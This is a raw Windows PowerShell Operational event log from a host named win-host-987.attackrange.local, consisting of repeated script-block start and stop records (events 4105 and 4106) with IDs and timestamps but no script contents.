SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035287
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035286
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035285
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035284
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035283
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035282
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035281
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035280
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035279
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035278
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035277
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035276
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035275
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035274
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035273
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035272
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035271
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035270
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035269
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035268
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035267
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035266
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035265
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035264
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035263
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035262
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035261
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035260
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035259
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035258
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035257
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035256
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035255
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035254
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035253
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035252
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035251
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035250
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035249
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035248
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035247
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035246
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035245
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035244
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035243
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035242
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035241
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035240
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035239
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035238
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035237
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035236
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035235
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
